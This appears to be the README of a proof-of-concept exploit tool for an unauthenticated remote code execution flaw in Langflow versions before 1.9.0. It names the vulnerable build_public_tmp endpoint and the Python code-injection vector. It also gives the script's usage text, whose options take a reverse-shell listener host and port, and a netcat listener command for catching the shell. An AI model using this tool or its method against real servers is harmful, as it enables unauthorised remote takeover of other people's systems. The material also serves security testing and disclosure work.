CVE-2026-33017 - Langflow RCE Vulnerability

xpl0ited by infrar3d

This proof‑of‑concept exploit targets a critical Remote Code Execution (RCE) vulnerability in Langflow versions prior to 1.9.0. The vulnerability allows unauthenticated attackers to execute arbitrary system commands by injecting malicious Python code through the flow building API endpoint. The vulnerability exists in the /api/v1/build_public_tmp/{flow_id}/flow endpoint, which improperly sanitizes user-supplied code in the code field of component templates.

Usage:

python3 CVE-2026-33017.py --help
usage: CVE-2026-33017.py [-h] -u URL -f FLOW -H HOST [-P PORT]

Langflow RCE Exploit

options:
  -h, --help       show this help message and exit
  -u, --url URL    Target base URL
  -f, --flow FLOW  Flow ID
  -H, --host HOST  Listener host for reverse shell
  -P, --port PORT  Listener port (default: 4444)
                                         

Example:

The first terminal (listener):

nc -lvnp 4444